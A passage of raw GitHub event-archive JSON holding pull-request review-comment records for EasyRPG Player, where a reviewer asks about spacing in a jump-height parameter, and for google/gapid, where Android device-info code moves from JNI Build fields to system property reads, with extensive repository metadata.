WooCommerce","fork":false,"url":"https://api.github.com/repos/mollie/WooCommerce","forks_url":"https://api.github.com/repos/mollie/WooCommerce/forks","keys_url":"https://api.github.com/repos/mollie/WooCommerce/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mollie/WooCommerce/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mollie/WooCommerce/teams","hooks_url":"https://api.github.com/repos/mollie/WooCommerce/hooks","issue_events_url":"https://api.github.com/repos/mollie/WooCommerce/issues/events{/number}","events_url":"https://api.github.com/repos/mollie/WooCommerce/events","assignees_url":"https://api.github.com/repos/mollie/WooCommerce/assignees{/user}","branches_url":"https://api.github.com/repos/mollie/WooCommerce/branches{/branch}","tags_url":"https://api.github.com/repos/mollie/WooCommerce/tags","blobs_url":"https://api.github.com/repos/mollie/WooCommerce/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mollie/WooCommerce/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mollie/WooCommerce/git/refs{/sha}","trees_url":"https://api.github.com/repos/mollie/WooCommerce/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mollie/WooCommerce/statuses/{sha}","languages_url":"https://api.github.com/repos/mollie/WooCommerce/languages","stargazers_url":"https://api.github.com/repos/mollie/WooCommerce/stargazers","contributors_url":"https://api.github.com/repos/mollie/WooCommerce/contributors","subscribers_url":"https://api.github.com/repos/mollie/WooCommerce/subscribers","subscription_url":"https://api.github.com/repos/mollie/WooCommerce/subscription","commits_url":"https://api.github.com/repos/mollie/WooCommerce/commits{/sha}","git_commits_url":"https://api.github.com/repos/mollie/WooCommerce/git/commits{/sha}","comments_url":"https://api.github.com/repos/mollie/WooCommerce/comments{/number}","issue_comment_url":"https://api.github.com/repos/mollie/WooCommerce/issues/comments{/number}","contents_url":"https://api.github.com/repos/mollie/WooCommerce/contents/{+path}","compare_url":"https://api.github.com/repos/mollie/WooCommerce/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mollie/WooCommerce/merges","archive_url":"https://api.github.com/repos/mollie/WooCommerce/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mollie/WooCommerce/downloads","issues_url":"https://api.github.com/repos/mollie/WooCommerce/issues{/number}","pulls_url":"https://api.github.com/repos/mollie/WooCommerce/pulls{/number}","milestones_url":"https://api.github.com/repos/mollie/WooCommerce/milestones{/number}","notifications_url":"https://api.github.com/repos/mollie/WooCommerce/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mollie/WooCommerce/labels{/name}","releases_url":"https://api.github.com/repos/mollie/WooCommerce/releases{/id}","deployments_url":"https://api.github.com/repos/mollie/WooCommerce/deployments","created_at":"2014-02-27T14:53:45Z","updated_at":"2019-12-09T16:38:29Z","pushed_at":"2019-12-18T17:47:20Z","git_url":"git://github.com/mollie/WooCommerce.git","ssh_url":"git@github.com:mollie/WooCommerce.git","clone_url":"https://github.com/mollie/WooCommerce.git","svn_url":"https://github.com/mollie/WooCommerce","homepage":"https://wordpress.org/plugins/mollie-payments-for-woocommerce/","size":5186,"stargazers_count":84,"watchers_count":84,"language":"PHP","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":24,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":54,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":24,"open_issues":54,"watchers":84,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/mollie/WooCommerce/pulls/328"},"html":{"href":"https://github.com/mollie/WooCommerce/pull/328"},"issue":{"href":"https://api.github.com/repos/mollie/WooCommerce/issues/328"},"comments":{"href":"https://api.github.com/repos/mollie/WooCommerce/issues/328/comments"},"review_comments":{"href":"https://api.github.com/repos/mollie/WooCommerce/pulls/328/comments"},"review_comment":{"href":"https://api.github.com/repos/mollie/WooCommerce/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/mollie/WooCommerce/pulls/328/commits"},"statuses":{"href":"https://api.github.com/repos/mollie/WooCommerce/statuses/94440d9cf7f175113f740269b26134b452afd71a"}},"author_association":"COLLABORATOR"}}
|
{
"id": 17252386,
"name": "mollie/WooCommerce",
"url": "https://api.github.com/repos/mollie/WooCommerce"
}
|
{
"id": 1917784,
"login": "widoz",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1917784?",
"url": "https://api.github.com/users/widoz"
}
|
{
"id": 1327170,
"login": "mollie",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1327170?",
"url": "https://api.github.com/orgs/mollie"
}
| 2019-12-19T10:00:10 |
11124527453
|
{"actor":{"display_login":"widoz"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/EasyRPG/Player/pulls/comments/348436940","pull_request_review_id":319781243,"id":348436940,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0ODQzNjk0MA==","diff_hunk":"@@ -649,9 +649,10 @@ class Game_Character {\n \t * Gets sprite y coordinate transformed to screen coordinate in pixels.\n \t *\n \t * @param apply_shift When true the coordinate is shifted by the map height (for looping maps)\n+\t * @param apply_jump Apply jump height modifier if character is jumping\n \t * @return screen y coordinate in pixels.\n \t */\n-\tvirtual int GetScreenY(bool apply_shift = false) const;\n+\tvirtual int GetScreenY(bool apply_shift = false, bool apply_jump=true) const;","path":"src/game_character.h","position":8,"original_position":8,"commit_id":"579df20ccc273c302a328e7c05605cb6d7dd86b1","original_commit_id":"579df20ccc273c302a328e7c05605cb6d7dd86b1","user":{"login":"carstene1ns","id":4691314,"node_id":"MDQ6VXNlcjQ2OTEzMTQ=","avatar_url":"https://avatars3.githubusercontent.com/u/4691314?v=4","gravatar_id":"","url":"https://api.github.com/users/carstene1ns","html_url":"https://github.com/carstene1ns","followers_url":"https://api.github.com/users/carstene1ns/followers","following_url":"https://api.github.com/users/carstene1ns/following{/other_user}","gists_url":"https://api.github.com/users/carstene1ns/gists{/gist_id}","starred_url":"https://api.github.com/users/carstene1ns/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carstene1ns/subscriptions","organizations_url":"https://api.github.com/users/carstene1ns/orgs","repos_url":"https://api.github.com/users/carstene1ns/repos","events_url":"https://api.github.com/users/carstene1ns/events{/privacy}","received_events_url":"https://api.github.com/users/carstene1ns/received_events","type":"User","site_admin":false},"body":"spaces?","created_at":"2019-11-20T11:46:55Z","updated_at":"2019-11-20T11:47:35Z","html_url":"https://github.com/EasyRPG/Player/pull/1941#discussion_r348436940","pull_request_url":"https://api.github.com/repos/EasyRPG/Player/pulls/1941","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/comments/348436940"},"html":{"href":"https://github.com/EasyRPG/Player/pull/1941#discussion_r348436940"},"pull_request":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/1941"}}},"pull_request":{"url":"https://api.github.com/repos/EasyRPG/Player/pulls/1941","id":341873193,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQxODczMTkz","html_url":"https://github.com/EasyRPG/Player/pull/1941","diff_url":"https://github.com/EasyRPG/Player/pull/1941.diff","patch_url":"https://github.com/EasyRPG/Player/pull/1941.patch","issue_url":"https://api.github.com/repos/EasyRPG/Player/issues/1941","number":1941,"state":"open","locked":false,"title":"Jump fixes","user":{"login":"fmatthew5876","id":1198466,"node_id":"MDQ6VXNlcjExOTg0NjY=","avatar_url":"https://avatars1.githubusercontent.com/u/1198466?v=4","gravatar_id":"","url":"https://api.github.com/users/fmatthew5876","html_url":"https://github.com/fmatthew5876","followers_url":"https://api.github.com/users/fmatthew5876/followers","following_url":"https://api.github.com/users/fmatthew5876/following{/other_user}","gists_url":"https://api.github.com/users/fmatthew5876/gists{/gist_id}","starred_url":"https://api.github.com/users/fmatthew5876/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fmatthew5876/subscriptions","organizations_url":"https://api.github.com/users/fmatthew5876/orgs","repos_url":"https://api.github.com/users/fmatthew5876/repos","events_url":"https://api.github.com/users/fmatthew5876/events{/privacy}","received_events_url":"https://api.github.com/users/fmatthew5876/received_events","type":"User","site_admin":false},"body":"Fix #1938 \r\nFix #1937 \r\nFix #1936 \r\n\r\n@Br4ssman Please confirm fixes in your game","created_at":"2019-11-17T17:03:15Z","updated_at":"2019-11-20T11:47:35Z","closed_at":null,"merged_at":null,"merge_commit_sha":"97ca414bf3126214df7d409d6f33445db51d9be2","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1230256779,"node_id":"MDU6TGFiZWwxMjMwMjU2Nzc5","url":"https://api.github.com/repos/EasyRPG/Player/labels/Move%20Routes","name":"Move Routes","color":"7ce2b1","default":false,"description":""}],"milestone":{"url":"https://api.github.com/repos/EasyRPG/Player/milestones/21","html_url":"https://github.com/EasyRPG/Player/milestone/21","labels_url":"https://api.github.com/repos/EasyRPG/Player/milestones/21/labels","id":4285456,"node_id":"MDk6TWlsZXN0b25lNDI4NTQ1Ng==","number":21,"title":"0.6.2","description":"","creator":{"login":"Ghabry","id":1331889,"node_id":"MDQ6VXNlcjEzMzE4ODk=","avatar_url":"https://avatars0.githubusercontent.com/u/1331889?v=4","gravatar_id":"","url":"https://api.github.com/users/Ghabry","html_url":"https://github.com/Ghabry","followers_url":"https://api.github.com/users/Ghabry/followers","following_url":"https://api.github.com/users/Ghabry/following{/other_user}","gists_url":"https://api.github.com/users/Ghabry/gists{/gist_id}","starred_url":"https://api.github.com/users/Ghabry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ghabry/subscriptions","organizations_url":"https://api.github.com/users/Ghabry/orgs","repos_url":"https://api.github.com/users/Ghabry/repos","events_url":"https://api.github.com/users/Ghabry/events{/privacy}","received_events_url":"https://api.github.com/users/Ghabry/received_events","type":"User","site_admin":false},"open_issues":80,"closed_issues":72,"state":"open","created_at":"2019-05-05T12:50:43Z","updated_at":"2019-11-20T11:45:02Z","due_on":null,"closed_at":null},"commits_url":"https://api.github.com/repos/EasyRPG/Player/pulls/1941/commits","review_comments_url":"https://api.github.com/repos/EasyRPG/Player/pulls/1941/comments","review_comment_url":"https://api.github.com/repos/EasyRPG/Player/pulls/comments{/number}","comments_url":"https://api.github.com/repos/EasyRPG/Player/issues/1941/comments","statuses_url":"https://api.github.com/repos/EasyRPG/Player/statuses/579df20ccc273c302a328e7c05605cb6d7dd86b1","head":{"label":"fmatthew5876:jump_fixes","ref":"jump_fixes","sha":"579df20ccc273c302a328e7c05605cb6d7dd86b1","user":{"login":"fmatthew5876","id":1198466,"node_id":"MDQ6VXNlcjExOTg0NjY=","avatar_url":"https://avatars1.githubusercontent.com/u/1198466?v=4","gravatar_id":"","url":"https://api.github.com/users/fmatthew5876","html_url":"https://github.com/fmatthew5876","followers_url":"https://api.github.com/users/fmatthew5876/followers","following_url":"https://api.github.com/users/fmatthew5876/following{/other_user}","gists_url":"https://api.github.com/users/fmatthew5876/gists{/gist_id}","starred_url":"https://api.github.com/users/fmatthew5876/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fmatthew5876/subscriptions","organizations_url":"https://api.github.com/users/fmatthew5876/orgs","repos_url":"https://api.github.com/users/fmatthew5876/repos","events_url":"https://api.github.com/users/fmatthew5876/events{/privacy}","received_events_url":"https://api.github.com/users/fmatthew5876/received_events","type":"User","site_admin":false},"repo":{"id":149674899,"node_id":"MDEwOlJlcG9zaXRvcnkxNDk2NzQ4OTk=","name":"Player","full_name":"fmatthew5876/Player","private":false,"owner":{"login":"fmatthew5876","id":1198466,"node_id":"MDQ6VXNlcjExOTg0NjY=","avatar_url":"https://avatars1.githubusercontent.com/u/1198466?v=4","gravatar_id":"","url":"https://api.github.com/users/fmatthew5876","html_url":"https://github.com/fmatthew5876","followers_url":"https://api.github.com/users/fmatthew5876/followers","following_url":"https://api.github.com/users/fmatthew5876/following{/other_user}","gists_url":"https://api.github.com/users/fmatthew5876/gists{/gist_id}","starred_url":"https://api.github.com/users/fmatthew5876/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fmatthew5876/subscriptions","organizations_url":"https://api.github.com/users/fmatthew5876/orgs","repos_url":"https://api.github.com/users/fmatthew5876/repos","events_url":"https://api.github.com/users/fmatthew5876/events{/privacy}","received_events_url":"https://api.github.com/users/fmatthew5876/received_events","type":"User","site_admin":false},"html_url":"https://github.com/fmatthew5876/Player","description":"RPG Maker 2000/2003 and EasyRPG games interpreter","fork":true,"url":"https://api.github.com/repos/fmatthew5876/Player","forks_url":"https://api.github.com/repos/fmatthew5876/Player/forks","keys_url":"https://api.github.com/repos/fmatthew5876/Player/keys{/key_id}","collaborators_url":"https://api.github.com/repos/fmatthew5876/Player/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/fmatthew5876/Player/teams","hooks_url":"https://api.github.com/repos/fmatthew5876/Player/hooks","issue_events_url":"https://api.github.com/repos/fmatthew5876/Player/issues/events{/number}","events_url":"https://api.github.com/repos/fmatthew5876/Player/events","assignees_url":"https://api.github.com/repos/fmatthew5876/Player/assignees{/user}","branches_url":"https://api.github.com/repos/fmatthew5876/Player/branches{/branch}","tags_url":"https://api.github.com/repos/fmatthew5876/Player/tags","blobs_url":"https://api.github.com/repos/fmatthew5876/Player/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/fmatthew5876/Player/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/fmatthew5876/Player/git/refs{/sha}","trees_url":"https://api.github.com/repos/fmatthew5876/Player/git/trees{/sha}","statuses_url":"https://api.github.com/repos/fmatthew5876/Player/statuses/{sha}","languages_url":"https://api.github.com/repos/fmatthew5876/Player/languages","stargazers_url":"https://api.github.com/repos/fmatthew5876/Player/stargazers","contributors_url":"https://api.github.com/repos/fmatthew5876/Player/contributors","subscribers_url":"https://api.github.com/repos/fmatthew5876/Player/subscribers","subscription_url":"https://api.github.com/repos/fmatthew5876/Player/subscription","commits_url":"https://api.github.com/repos/fmatthew5876/Player/commits{/sha}","git_commits_url":"https://api.github.com/repos/fmatthew5876/Player/git/commits{/sha}","comments_url":"https://api.github.com/repos/fmatthew5876/Player/comments{/number}","issue_comment_url":"https://api.github.com/repos/fmatthew5876/Player/issues/comments{/number}","contents_url":"https://api.github.com/repos/fmatthew5876/Player/contents/{+path}","compare_url":"https://api.github.com/repos/fmatthew5876/Player/compare/{base}...{head}","merges_url":"https://api.github.com/repos/fmatthew5876/Player/merges","archive_url":"https://api.github.com/repos/fmatthew5876/Player/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/fmatthew5876/Player/downloads","issues_url":"https://api.github.com/repos/fmatthew5876/Player/issues{/number}","pulls_url":"https://api.github.com/repos/fmatthew5876/Player/pulls{/number}","milestones_url":"https://api.github.com/repos/fmatthew5876/Player/milestones{/number}","notifications_url":"https://api.github.com/repos/fmatthew5876/Player/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/fmatthew5876/Player/labels{/name}","releases_url":"https://api.github.com/repos/fmatthew5876/Player/releases{/id}","deployments_url":"https://api.github.com/repos/fmatthew5876/Player/deployments","created_at":"2018-09-20T21:52:44Z","updated_at":"2019-11-09T01:11:43Z","pushed_at":"2019-11-19T04:55:44Z","git_url":"git://github.com/fmatthew5876/Player.git","ssh_url":"git@github.com:fmatthew5876/Player.git","clone_url":"https://github.com/fmatthew5876/Player.git","svn_url":"https://github.com/fmatthew5876/Player","homepage":"https://easyrpg.org/player/","size":32734,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"EasyRPG:master","ref":"master","sha":"dc568a1fedf14117f7ad50f2cf5d106f71cb04aa","user":{"login":"EasyRPG","id":1331871,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMzE4NzE=","avatar_url":"https://avatars0.githubusercontent.com/u/1331871?v=4","gravatar_id":"","url":"https://api.github.com/users/EasyRPG","html_url":"https://github.com/EasyRPG","followers_url":"https://api.github.com/users/EasyRPG/followers","following_url":"https://api.github.com/users/EasyRPG/following{/other_user}","gists_url":"https://api.github.com/users/EasyRPG/gists{/gist_id}","starred_url":"https://api.github.com/users/EasyRPG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EasyRPG/subscriptions","organizations_url":"https://api.github.com/users/EasyRPG/orgs","repos_url":"https://api.github.com/users/EasyRPG/repos","events_url":"https://api.github.com/users/EasyRPG/events{/privacy}","received_events_url":"https://api.github.com/users/EasyRPG/received_events","type":"Organization","site_admin":false},"repo":{"id":3297519,"node_id":"MDEwOlJlcG9zaXRvcnkzMjk3NTE5","name":"Player","full_name":"EasyRPG/Player","private":false,"owner":{"login":"EasyRPG","id":1331871,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMzE4NzE=","avatar_url":"https://avatars0.githubusercontent.com/u/1331871?v=4","gravatar_id":"","url":"https://api.github.com/users/EasyRPG","html_url":"https://github.com/EasyRPG","followers_url":"https://api.github.com/users/EasyRPG/followers","following_url":"https://api.github.com/users/EasyRPG/following{/other_user}","gists_url":"https://api.github.com/users/EasyRPG/gists{/gist_id}","starred_url":"https://api.github.com/users/EasyRPG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EasyRPG/subscriptions","organizations_url":"https://api.github.com/users/EasyRPG/orgs","repos_url":"https://api.github.com/users/EasyRPG/repos","events_url":"https://api.github.com/users/EasyRPG/events{/privacy}","received_events_url":"https://api.github.com/users/EasyRPG/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EasyRPG/Player","description":"RPG Maker 2000/2003 and EasyRPG games interpreter","fork":false,"url":"https://api.github.com/repos/EasyRPG/Player","forks_url":"https://api.github.com/repos/EasyRPG/Player/forks","keys_url":"https://api.github.com/repos/EasyRPG/Player/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EasyRPG/Player/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EasyRPG/Player/teams","hooks_url":"https://api.github.com/repos/EasyRPG/Player/hooks","issue_events_url":"https://api.github.com/repos/EasyRPG/Player/issues/events{/number}","events_url":"https://api.github.com/repos/EasyRPG/Player/events","assignees_url":"https://api.github.com/repos/EasyRPG/Player/assignees{/user}","branches_url":"https://api.github.com/repos/EasyRPG/Player/branches{/branch}","tags_url":"https://api.github.com/repos/EasyRPG/Player/tags","blobs_url":"https://api.github.com/repos/EasyRPG/Player/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EasyRPG/Player/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EasyRPG/Player/git/refs{/sha}","trees_url":"https://api.github.com/repos/EasyRPG/Player/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EasyRPG/Player/statuses/{sha}","languages_url":"https://api.github.com/repos/EasyRPG/Player/languages","stargazers_url":"https://api.github.com/repos/EasyRPG/Player/stargazers","contributors_url":"https://api.github.com/repos/EasyRPG/Player/contributors","subscribers_url":"https://api.github.com/repos/EasyRPG/Player/subscribers","subscription_url":"https://api.github.com/repos/EasyRPG/Player/subscription","commits_url":"https://api.github.com/repos/EasyRPG/Player/commits{/sha}","git_commits_url":"https://api.github.com/repos/EasyRPG/Player/git/commits{/sha}","comments_url":"https://api.github.com/repos/EasyRPG/Player/comments{/number}","issue_comment_url":"https://api.github.com/repos/EasyRPG/Player/issues/comments{/number}","contents_url":"https://api.github.com/repos/EasyRPG/Player/contents/{+path}","compare_url":"https://api.github.com/repos/EasyRPG/Player/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EasyRPG/Player/merges","archive_url":"https://api.github.com/repos/EasyRPG/Player/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EasyRPG/Player/downloads","issues_url":"https://api.github.com/repos/EasyRPG/Player/issues{/number}","pulls_url":"https://api.github.com/repos/EasyRPG/Player/pulls{/number}","milestones_url":"https://api.github.com/repos/EasyRPG/Player/milestones{/number}","notifications_url":"https://api.github.com/repos/EasyRPG/Player/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EasyRPG/Player/labels{/name}","releases_url":"https://api.github.com/repos/EasyRPG/Player/releases{/id}","deployments_url":"https://api.github.com/repos/EasyRPG/Player/deployments","created_at":"2012-01-29T14:35:47Z","updated_at":"2019-11-20T11:45:05Z","pushed_at":"2019-11-20T11:45:03Z","git_url":"git://github.com/EasyRPG/Player.git","ssh_url":"git@github.com:EasyRPG/Player.git","clone_url":"https://github.com/EasyRPG/Player.git","svn_url":"https://github.com/EasyRPG/Player","homepage":"https://easyrpg.org/player/","size":32151,"stargazers_count":440,"watchers_count":440,"language":"C++","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":92,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":228,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":92,"open_issues":228,"watchers":440,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/1941"},"html":{"href":"https://github.com/EasyRPG/Player/pull/1941"},"issue":{"href":"https://api.github.com/repos/EasyRPG/Player/issues/1941"},"comments":{"href":"https://api.github.com/repos/EasyRPG/Player/issues/1941/comments"},"review_comments":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/1941/comments"},"review_comment":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/EasyRPG/Player/pulls/1941/commits"},"statuses":{"href":"https://api.github.com/repos/EasyRPG/Player/statuses/579df20ccc273c302a328e7c05605cb6d7dd86b1"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 3297519,
"name": "EasyRPG/Player",
"url": "https://api.github.com/repos/EasyRPG/Player"
}
|
{
"id": 4691314,
"login": "carstene1ns",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/4691314?",
"url": "https://api.github.com/users/carstene1ns"
}
|
{
"id": 1331871,
"login": "EasyRPG",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1331871?",
"url": "https://api.github.com/orgs/EasyRPG"
}
| 2019-11-20T11:46:55 |
10905919406
|
{"actor":{"display_login":"carstene1ns"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/google/gapid/pulls/comments/260807757","pull_request_review_id":208596263,"id":260807757,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2MDgwNzc1Nw==","diff_hunk":"@@ -271,48 +265,39 @@ bool createContext(void* platform_data) {\n \n #undef CHECK\n \n-#define CHECK(x) \\\n- if (!x) { \\\n- snprintf(gContext.mError, sizeof(gContext.mError), \"JNI error:\\n \" #x); \\\n- destroyContext(); \\\n- return false; \\\n- }\n-\n- JavaVM* vm = reinterpret_cast<JavaVM*>(platform_data);\n- JNIEnv* env = nullptr;\n- auto res = vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6);\n- bool shouldDetach = false;\n- switch (res) {\n- case JNI_OK:\n- break;\n- case JNI_EDETACHED:\n- res = vm->AttachCurrentThread(&env, nullptr);\n- if (res != 0) {\n- snprintf(gContext.mError, sizeof(gContext.mError),\n- \"Failed to attach thread to JavaVM. (%d)\", res);\n- destroyContext();\n- return false;\n- }\n- shouldDetach = true;\n- break;\n- default:\n- snprintf(gContext.mError, sizeof(gContext.mError),\n- \"Failed to get Java env. (%d)\", res);\n- destroyContext();\n- return false;\n- }\n+#define GET_PROP(name, trans) \\\n+ do { \\\n+ char _v[PROP_VALUE_MAX] = {0}; \\\n+ if (__system_property_get(name, _v) == 0) { \\\n+ snprintf(gContext.mError, sizeof(gContext.mError), \\\n+ \"Failed reading property %s\", name); \\\n+ destroyContext(); \\\n+ return false; \\\n+ } \\\n+ trans; \\\n+ } while (0)\n+\n+#define GET_STRING_PROP(n, t) GET_PROP(n, t = _v)\n+#define GET_INT_PROP(n, t) GET_PROP(n, t = atoi(_v))\n+#define GET_STRING_LIST_PROP(n, t) \\\n+ do { \\\n+ std::string _l, _t; \\\n+ GET_STRING_PROP(n, _l); \\\n+ std::istringstream _s(_l); \\\n+ while (std::getline(_s, _t, ',')) { \\\n+ t.push_back(_t); \\\n+ } \\\n+ } while (0)\n \n std::string manufacturer;\n std::string model;\n \n- Class build(env, \"android/os/Build\");\n- CHECK(build.get_field(\"SUPPORTED_ABIS\", gContext.mSupportedABIs));\n- CHECK(build.get_field(\"HOST\", gContext.mHost));\n- CHECK(build.get_field(\"SERIAL\", gContext.mSerial));\n- CHECK(build.get_field(\"MANUFACTURER\", manufacturer));\n- CHECK(build.get_field(\"MODEL\", model));\n- CHECK(build.get_field(\"HARDWARE\", gContext.mHardware));\n- CHECK(build.get_field(\"DISPLAY\", gContext.mOSBuild));\n+ GET_STRING_LIST_PROP(\"ro.product.cpu.abilist\", gContext.mSupportedABIs);","path":"core/os/device/deviceinfo/cc/android/query.cpp","position":111,"original_position":111,"commit_id":"7f7b11669947a1a00451b1146ae716ad60e309ca","original_commit_id":"7f7b11669947a1a00451b1146ae716ad60e309ca","user":{"login":"pmuetschard","id":13356324,"node_id":"MDQ6VXNlcjEzMzU2MzI0","avatar_url":"https://avatars3.githubusercontent.com/u/13356324?v=4","gravatar_id":"","url":"https://api.github.com/users/pmuetschard","html_url":"https://github.com/pmuetschard","followers_url":"https://api.github.com/users/pmuetschard/followers","following_url":"https://api.github.com/users/pmuetschard/following{/other_user}","gists_url":"https://api.github.com/users/pmuetschard/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuetschard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuetschard/subscriptions","organizations_url":"https://api.github.com/users/pmuetschard/orgs","repos_url":"https://api.github.com/users/pmuetschard/repos","events_url":"https://api.github.com/users/pmuetschard/events{/privacy}","received_events_url":"https://api.github.com/users/pmuetschard/received_events","type":"User","site_admin":false},"body":"I think you are probably referring to this: https://stackoverflow.com/questions/28413530/api-to-get-android-system-properties-is-removed-in-arm64-platforms\r\nAs far as I can make out, it may at one point have been the idea to remove them, but that idea seems to have been overturned. There is a lot of Android code that depends on those functions to be present and accessible to apps. With those release notes, they are now guaranteed at the API level we build for.","created_at":"2019-02-27T15:41:08Z","updated_at":"2019-02-27T15:41:09Z","html_url":"https://github.com/google/gapid/pull/2611#discussion_r260807757","pull_request_url":"https://api.github.com/repos/google/gapid/pulls/2611","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/google/gapid/pulls/comments/260807757"},"html":{"href":"https://github.com/google/gapid/pull/2611#discussion_r260807757"},"pull_request":{"href":"https://api.github.com/repos/google/gapid/pulls/2611"}},"in_reply_to_id":257717167},"pull_request":{"url":"https://api.github.com/repos/google/gapid/pulls/2611","id":253601403,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUzNjAxNDAz","html_url":"https://github.com/google/gapid/pull/2611","diff_url":"https://github.com/google/gapid/pull/2611.diff","patch_url":"https://github.com/google/gapid/pull/2611.patch","issue_url":"https://api.github.com/repos/google/gapid/issues/2611","number":2611,"state":"open","locked":false,"title":"GraphicsSpy Layer Fixes for Q and Beyond","user":{"login":"pmuetschard","id":13356324,"node_id":"MDQ6VXNlcjEzMzU2MzI0","avatar_url":"https://avatars3.githubusercontent.com/u/13356324?v=4","gravatar_id":"","url":"https://api.github.com/users/pmuetschard","html_url":"https://github.com/pmuetschard","followers_url":"https://api.github.com/users/pmuetschard/followers","following_url":"https://api.github.com/users/pmuetschard/following{/other_user}","gists_url":"https://api.github.com/users/pmuetschard/gists{/gist_id}","starred_url":"https://api.github.com/users/pmuetschard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmuetschard/subscriptions","organizations_url":"https://api.github.com/users/pmuetschard/orgs","repos_url":"https://api.github.com/users/pmuetschard/repos","events_url":"https://api.github.com/users/pmuetschard/events{/privacy}","received_events_url":"https://api.github.com/users/pmuetschard/received_events","type":"User","site_admin":false},"body":"Prepares us for a JDWP free tracing in Q and beyond.","created_at":"2019-02-16T00:16:05Z","updated_at":"2019-02-27T15:41:09Z","closed_at":null,"merged_at":null,"merge_commit_sha":"645fc88b54a70eb3576e154b69181364bede46c5","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1100371644,"node_id":"MDU6TGFiZWwxMTAwMzcxNjQ0","url":"https://api.github.com/repos/google/gapid/labels/cla:%20yes","name":"cla: 